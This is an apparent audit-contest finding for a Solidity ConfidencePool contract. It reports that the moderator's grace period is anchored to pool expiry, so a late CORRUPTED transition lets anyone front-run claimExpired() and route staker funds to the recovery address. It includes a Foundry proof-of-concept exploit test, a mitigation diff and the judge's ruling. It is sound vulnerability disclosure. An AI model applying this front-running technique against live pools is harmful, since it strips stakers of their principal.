FoundrySolidityLayer 2
7.25 ETH
Submission Details
Severity: medium
Valid

Grace Period Boundary Front-Running: Late State Transition Eliminates Moderator Reaction Window (104/250)

Author Revealed upon completion

Root + Impact

The contract is designed to allow the moderator a cooperative 180-day window (MODERATOR_CORRUPTED_GRACE) post-expiry to resolve false-positive registry states before the permissionless auto-CORRUPTED fallback path becomes executable by the public. When an upstream registry state transition to CORRUPTED occurs after 180 days have already elapsed since the pool's expiry, the grace check block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE is bypassed instantly. This eliminates the moderator's reaction window entirely, permitting any caller to execute claimExpired() in the same block as the state transition and lock stakers out of their funds.

Description

The auto-CORRUPTED backstop in `claimExpired()` is intended as a liveness fallback if the moderator is permanently unavailable. However, because the 180-day grace check is mathematically anchored to the static pool `expiry` instead of the dynamic timestamp of the transition to `CORRUPTED`, any registry state transition occurring 180+ days post-expiry reduces the moderator's reaction window to zero seconds. An attacker can front-run the moderator in the same block as the registry state change, executing `claimExpired()` to permanently lock staker funds.

if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
@> if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
outcome = PoolStates.Outcome.CORRUPTED;
corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
claimsStarted = true;
emit OutcomeFlagged(address(0), PoolStates.Outcome.CORRUPTED, false, address(0));
return;
}

Risk

Likelihood:

  • Reason 1: Registry transitions to CORRUPTED after 180+ days have elapsed since pool expiry. Reason 2: Permissionless callers monitor the mempool to instantly call claimExpired() at the grace period boundary.

Impact:

  • Impact 1: Stakers permanently lose 100% of deposited principal to recoveryAddress.

  • Impact 2: Moderator locked out of flagOutcome(SURVIVED) via OutcomeAlreadySet revert.

Proof of Concept

1. **Setup:** Alice stakes 1,000,000 tokens into a pool with a 180-day moderator grace window.

2. **Attack State:** The upstream registry moves to `UNDER_ATTACK` and then `CORRUPTED` after the pool's static expiry date + 180 days have already elapsed.

3. **Exploit:** An attacker immediately calls `claimExpired()` in the same block. The transaction succeeds because `block.timestamp` is already past the static grace boundary, setting the outcome to `CORRUPTED`.

4. **Denial:** The moderator attempts to call `flagOutcome()` to resolve a false positive but is reverted with `OutcomeAlreadySet`. Run this test suite using: `forge test --match-test test_AutoCorruptedGracePeriodFrontRun`

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
contract AutoCorruptedGracePeriodRaceTest is Test {
uint256 internal constant ONE = 1e18;
address internal constant DEFAULT_SCOPE_ACCOUNT = address(0xC0FFEE);
MockERC20 internal token;
MockAttackRegistry internal attackRegistry;
MockSafeHarborRegistry internal safeHarborRegistry;
MockAgreement internal agreementContract;
ConfidencePool internal pool;
address internal moderator = makeAddr("moderator");
address internal attacker = makeAddr("attacker");
address internal alice = makeAddr("alice");
uint256 internal constant BASE_TIMESTAMP = 1_750_000_000;
uint256 internal constant MODERATOR_CORRUPTED_GRACE = 180 days;
function setUp() public {
vm.warp(BASE_TIMESTAMP);
token = new MockERC20();
attackRegistry = new MockAttackRegistry();
safeHarborRegistry = new MockSafeHarborRegistry();
agreementContract = new MockAgreement(address(this));
agreementContract.setContractInScope(DEFAULT_SCOPE_ACCOUNT, true);
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
safeHarborRegistry.setAgreementValid(address(agreementContract), true);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
pool = _deployPool(BASE_TIMESTAMP + 365 days);
}
function _deployPool(uint256 expiry_) internal returns (ConfidencePool) {
ConfidencePool implementation = new ConfidencePool();
ConfidencePool deployed = ConfidencePool(Clones.clone(address(implementation)));
deployed.initialize(
address(agreementContract),
address(token),
address(safeHarborRegistry),
moderator,
expiry_,
ONE,
address(0xDEAD),
address(this),
_defaultScope()
);
return deployed;
}
function _defaultScope() internal pure returns (address[] memory accounts) {
accounts = new address[](1);
accounts[0] = DEFAULT_SCOPE_ACCOUNT;
}
function test_AutoCorruptedGracePeriodFrontRun() public {
vm.warp(BASE_TIMESTAMP);
token.mint(alice, 1_000_000 * ONE);
vm.startPrank(alice);
token.approve(address(pool), 1_000_000 * ONE);
pool.stake(1_000_000 * ONE);
vm.stopPrank();
assertEq(pool.totalEligibleStake(), 1_000_000 * ONE, "Alice has 1M stake");
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.UNRESOLVED), "Outcome is UNRESOLVED");
vm.warp(BASE_TIMESTAMP + 10 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), uint32(BASE_TIMESTAMP + 10 days), "Risk window opened");
vm.warp(BASE_TIMESTAMP + 20 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
assertEq(pool.riskWindowStart() != 0, true, "riskWindowStart is set");
uint256 expiry = BASE_TIMESTAMP + 365 days;
uint256 graceBoundary = expiry + MODERATOR_CORRUPTED_GRACE;
vm.warp(graceBoundary);
assertEq(block.timestamp, graceBoundary, "At grace boundary");
vm.prank(attacker);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.CORRUPTED), "Outcome locked to CORRUPTED by attacker");
assertEq(pool.claimsStarted(), true, "claimsStarted set, moderator locked out");
vm.prank(moderator);
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
emit log_named_uint("Staker principal locked to recoveryAddress", 1_000_000 * ONE);
emit log_string("Moderator cannot correct false-positive due to grace period front-run");
}
function test_ModeratorCannotCorrectAfterGraceBoundary() public {
uint256 expiry = BASE_TIMESTAMP + 60 days;
pool = _deployPool(expiry);
vm.warp(BASE_TIMESTAMP);
token.mint(alice, 100_000 * ONE);
vm.startPrank(alice);
token.approve(address(pool), 100_000 * ONE);
pool.stake(100_000 * ONE);
vm.stopPrank();
vm.warp(BASE_TIMESTAMP + 15 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.warp(BASE_TIMESTAMP + 30 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
uint256 graceBoundary = expiry + MODERATOR_CORRUPTED_GRACE;
vm.warp(graceBoundary);
vm.prank(attacker);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.CORRUPTED), "Auto-CORRUPTED triggered");
assertEq(pool.claimsStarted(), true, "claimsStarted prevents moderator correction");
vm.prank(moderator);
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(pool.totalEligibleStake(), 100_000 * ONE, "Alice's stake locked in pool");
}
function test_GracePeriodAllowsModeratorCorrectionWhenEarly() public {
uint256 expiry = BASE_TIMESTAMP + 60 days;
pool = _deployPool(expiry);
vm.warp(BASE_TIMESTAMP);
token.mint(alice, 100_000 * ONE);
vm.startPrank(alice);
token.approve(address(pool), 100_000 * ONE);
pool.stake(100_000 * ONE);
vm.stopPrank();
vm.warp(BASE_TIMESTAMP + 15 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.warp(BASE_TIMESTAMP + 30 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
uint256 graceBoundary = expiry + MODERATOR_CORRUPTED_GRACE;
vm.warp(graceBoundary - 1);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.SURVIVED), "Moderator can correct before boundary");
}
function test_AttackerCanTriggerAutoCorruptedExactlyAtGraceBoundary() public {
uint256 expiry = BASE_TIMESTAMP + 45 days;
pool = _deployPool(expiry);
vm.warp(BASE_TIMESTAMP);
token.mint(alice, 50_000 * ONE);
vm.startPrank(alice);
token.approve(address(pool), 50_000 * ONE);
pool.stake(50_000 * ONE);
vm.stopPrank();
vm.warp(BASE_TIMESTAMP + 10 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.warp(BASE_TIMESTAMP + 20 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
uint256 graceBoundary = expiry + MODERATOR_CORRUPTED_GRACE;
vm.warp(graceBoundary);
vm.prank(attacker);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.CORRUPTED), "Auto-CORRUPTED triggered at boundary");
assertEq(pool.claimsStarted(), true, "claimsStarted prevents moderator correction");
}
}

Recommended Mitigation

Introduce a cooperative delay window after the grace period boundary during which only the moderator can execute claimExpired().

+ uint256 constant GRACE_COOPERATIVE_DELAY = 1 days;
if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
- if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
- revert AgreementCorruptedAwaitingModerator();
- }
+ uint256 graceBoundary = expiry + MODERATOR_CORRUPTED_GRACE;
+ if (block.timestamp < graceBoundary) {
+ revert AgreementCorruptedAwaitingModerator();
+ }
+ if (block.timestamp < graceBoundary + GRACE_COOPERATIVE_DELAY) {
+ if (msg.sender != moderator) {
+ revert ModeratorCorrectionWindow();
+ }
+ }
outcome = PoolStates.Outcome.CORRUPTED;
corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
claimsStarted = true;
emit OutcomeFlagged(address(0), PoolStates.Outcome.CORRUPTED, false, address(0));
return;
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

MODERATOR_CORRUPTED_GRACE anchored to expiry instead of first CORRUPTED observation gives the moderator zero actionable window before permissionless bad-faith settlement

Impact - High The mechanical branch always picks bad-faith, so the whole corpus lands at recoveryAddress and claimsStarted makes it permanent in the same call. Both alternatives it forecloses send the money elsewhere: DESIGN.md #8 lets the moderator flag SURVIVED for an out-of-scope breach, returning everything to stakers, and good-faith CORRUPTED reserves the pool for a named whitehat. Losing the classification decides who gets paid. Likelihood - Low The pool has to sit unresolved through the whole window past expiry, which is the hard part, since claimExpired stays permissionless throughout and would settle it as EXPIRED against the live active-risk state. Any staker with principal waiting has reason to make that call. Once corruption does land late, the moderator's first legal moment to classify and the fallback's first to finalize arrive together, so ordering alone decides it.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!